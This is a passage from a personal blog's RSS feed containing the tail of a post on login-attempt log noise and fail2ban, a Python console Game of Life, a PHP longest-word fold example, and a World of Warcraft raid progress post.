<td>nagios</td>
<td>10</td>
</tr>
<tr>
<td>martin</td>
<td>10</td>
</tr>
<tr>
<td>admins</td>
<td>10</td>
</tr>
</table>
<p><strong>Note:</strong>   No external connections are allowed to log in as root (of course)<br />
<strong>Note2:</strong>  After 5 failed login attempt, the IP address is temporary banned (fail2ban)</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2008/07/authlog-noise/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>import life</title>
		<link>http://project-2501.net/index.php/2008/06/import-life/</link>
		<comments>http://project-2501.net/index.php/2008/06/import-life/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 10:00:56 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=81</guid>
		<description><![CDATA[A console based implementation of Conway&#8217;s Game of Life in Python. As fascinating as it is useless. #!/usr/bin/python import sys import random import time import os import copy WIDTH = 32 HEIGHT = 16 class Grid: &#160; &#160; def __init__&#40;self, width, height&#41;: &#160; &#160; &#160; &#160; self.width &#160;= width &#160; &#160; &#160; &#160; self.height = [...]]]></description>
			<content:encoded><![CDATA[<p>A console based implementation of <a href="http://en.wikipedia.org/wiki/Conway%27s_Game_of_Life">Conway&#8217;s Game of Life</a> in Python.<br />
As fascinating as it is useless.</p>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">random</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">copy</span><br />
<br />
WIDTH <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">32</span><br />
HEIGHT <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">16</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">class</span> Grid:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: #66cc66;">,</span> width<span style="color: #66cc66;">,</span> height<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">width</span> &nbsp;<span style="color: #66cc66;">=</span> width<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">height</span> <span style="color: #66cc66;">=</span> height<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">create_blank_grid</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> create_blank_grid<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span> <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">width</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span>.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span> <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">height</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> seed<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: #66cc66;">,</span> chance <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0.4</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">width</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">height</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">random</span>.<span style="color: #dc143c;">random</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&lt;</span> chance:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0</span><br />
<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> add_glider<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__str__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">''</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">height</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">width</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">str</span> <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">' '</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> <span style="color: #66cc66;">==</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">str</span> <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'#'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer +<span style="color: #66cc66;">=</span> <span style="color: #008000;">str</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: #66cc66;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: #66cc66;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> buffer<br />
<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> get_number_neighbours<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: #66cc66;">,</span> x<span style="color: #66cc66;">,</span> y<span style="color: black;">&#41;</span>:<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> get_value<span style="color: black;">&#40;</span>i<span style="color: #66cc66;">,</span>j<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">try</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>j<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">except</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">0</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; number_neighbours <span style="color: #66cc66;">=</span> get_value<span style="color: black;">&#40;</span>x-<span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span> y-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> + get_value<span style="color: black;">&#40;</span>x<span style="color: #66cc66;">,</span> y-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> &nbsp; + get_value<span style="color: black;">&#40;</span>x+<span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span> y-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> + &nbsp;\<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; get_value<span style="color: black;">&#40;</span>x-<span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span> y<span style="color: black;">&#41;</span> &nbsp; + &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; get_value<span style="color: black;">&#40;</span>x+<span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span> y<span style="color: black;">&#41;</span> &nbsp; + &nbsp;\<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; get_value<span style="color: black;">&#40;</span>x-<span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span> y+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> + get_value<span style="color: black;">&#40;</span>x<span style="color: #66cc66;">,</span> y+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> &nbsp; + get_value<span style="color: black;">&#40;</span>x+<span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span> y+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> number_neighbours<br />
<br />
<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> tick<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; new_grid <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">copy</span>.<span style="color: black;">deepcopy</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">width</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">self</span>.<span style="color: black;">height</span><span style="color: black;">&#41;</span>:<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; number_neighbours <span style="color: #66cc66;">=</span> <span style="color: #008000;">self</span>.<span style="color: black;">get_number_neighbours</span><span style="color: black;">&#40;</span>x<span style="color: #66cc66;">,</span>y<span style="color: black;">&#41;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">self</span>.<span style="color: black;">grid</span><span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> <span style="color: #66cc66;">==</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> number_neighbours <span style="color: #66cc66;">&lt;</span> <span style="color: #ff4500;">2</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_grid<span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">elif</span> number_neighbours <span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_grid<span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> number_neighbours <span style="color: #66cc66;">==</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_grid<span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">grid</span> <span style="color: #66cc66;">=</span> new_grid<br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ <span style="color: #66cc66;">==</span> <span style="color: #483d8b;">&quot;__main__&quot;</span>:<br />
&nbsp; &nbsp; grid <span style="color: #66cc66;">=</span> Grid<span style="color: black;">&#40;</span>WIDTH<span style="color: #66cc66;">,</span> HEIGHT<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># chance for a cell to be 'alive'</span><br />
&nbsp; &nbsp; grid.<span style="color: black;">seed</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0.2</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># grid.add_glider()</span><br />
<br />
&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># 100 generations</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: #66cc66;">,</span> <span style="color: #ff4500;">100</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #dc143c;">os</span>.<span style="color: black;">system</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'clear'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> grid<br />
&nbsp; &nbsp; &nbsp; &nbsp; grid.<span style="color: black;">tick</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2008/06/import-life/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pretending PHP doesn&#8217;t suck</title>
		<link>http://project-2501.net/index.php/2008/06/pretending-php-doesnt-suck/</link>
		<comments>http://project-2501.net/index.php/2008/06/pretending-php-doesnt-suck/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 08:00:44 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=80</guid>
		<description><![CDATA[&#60;?php // Perhaps the simplest practical use of a fold? // // (While this is fairly consise (even in PHP) it calculates the length of a // string 2n-2 times [which is n-2 times more than needed]) function getLongestWord&#40;$words&#41; &#123; &#160; $fun = create_function&#40;'$a,$b', 'return (strlen($a) &#62; strlen($b)) ? $a : $b;'&#41;; &#160; return array_reduce&#40;$words, [...]]]></description>
			<content:encoded><![CDATA[<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<br />
<span style="color: #666666; font-style: italic;">// Perhaps the simplest practical use of a fold?</span><br />
<span style="color: #666666; font-style: italic;">//</span><br />
<span style="color: #666666; font-style: italic;">// (While this is fairly consise (even in PHP) it calculates the length of a </span><br />
<span style="color: #666666; font-style: italic;">// string 2n-2 times [which is n-2 times more than needed])</span><br />
<span style="color: #000000; font-weight: bold;">function</span> getLongestWord<span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; <span style="color: #000088;">$fun</span> <span style="color: #339933;">=</span> <span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'$a,$b'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'return (strlen($a) &gt; strlen($b)) ? $a : $b;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; <span style="color: #b1b100;">return</span> <span style="color: #990000;">array_reduce</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fun</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">// This looks a little better, but it loses a lot of the simplicity of the above</span><br />
<span style="color: #000000; font-weight: bold;">function</span> getLongestWord_2<span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; <span style="color: #000088;">$map</span> &nbsp;<span style="color: #339933;">=</span> <span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'$a'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'return array($a, strlen($a));'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$fold</span> <span style="color: #339933;">=</span> <span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'$a,$b'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'return ($a[1] &gt; $b[1]) ? $a : $b;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; <span style="color: #000088;">$word</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_reduce</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array_map</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$map</span><span style="color: #339933;">,</span> <span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fold</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$word</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000088;">$words</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'a'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'bb'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'ccc'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'dd'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'eeee'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'fff'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'gg'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span>getLongestWord<span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">// string(4) &quot;eeee&quot;</span><br />
<br />
<span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span>getLongestWord_2<span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">// string(4) &quot;eeee&quot;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Is there an even simpler way to find the longest string in an array?</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2008/06/pretending-php-doesnt-suck/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WoW Progress</title>
		<link>http://project-2501.net/index.php/2007/10/wow-progress/</link>
		<comments>http://project-2501.net/index.php/2007/10/wow-progress/#comments</comments>
		<pubDate>Mon, 01 Oct 2007 14:21:28 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[games]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=54</guid>
		<description><![CDATA[First trip to Kara on the weekend, being mostly a PUG we started off really poorly. We eventually replaced our off tank (who was arms :/) with a well geared (epic) tank which helped substantially. Though, we still only managed to down Huntsman and Maiden of Virtue. I have most of the standard instances down [...]]]></description>
			<content:encoded><![CDATA[<p>First trip to Kara on the weekend, being mostly a PUG we started off really poorly.  We eventually replaced our off tank (who was arms :/) with a well geared (epic) tank which helped substantially.  Though, we still only managed to down <a href="http://www.wowwiki.com/Attumen_the_Huntsman">Huntsman</a> and <a href="http://www.wowwiki.com/Maiden_of_Virtue">Maiden of Virtue</a>.</p>
<p>I have most of the standard instances down pretty well  (ran SV the other night with a naked healer without any trouble <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).  Though without a good group of people, heroics seem really hits and miss (so far, mostly miss) which is a little annoying as the progression seems pretty steep after the standard 5 mans.  As I (slowly) improve I&#8217;m sure it will get better.</p>
<p>My new progression target is Exalted with <a href="http://www.wowwiki.com/Darnassus">Darnassus</a>.  Tonight I managed to pick up ~4000 rep simply by doing a few <strong>very</strong> low level quests, hopefully the next 15,000 well be just as easy <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://project-2501.net/gallery/wow/092907_214525.jpg"><img src="http://project-2501.net/gallery/.thumbs/gallery_wow_092907_214525.jpg.jpeg" /></a><br />
Huntsman</p>
<p><a href="http://project-2501.net/gallery/wow/092907_232739.jpg"><img src="http://project-2501.net/gallery/.thumbs/gallery_wow_092907_232739.jpg.jpeg" /></a><br />
Maiden</p>
<p><a href="http://project-2501.net/gallery/wow/092607_232101.jpg"><img src="http://project-2501.net/gallery/.thumbs/gallery_wow_092607_232101.jpg.jpeg" /></a><br />
Murmur</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2007/10/wow-progress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk (Requested URI is rejected)
Database Caching 1/47 queries in 0.022 seconds using disk
Object Caching 953/1046 objects using disk

Served from: project-2501.net @ 2012-02-07 21:06:46 -->
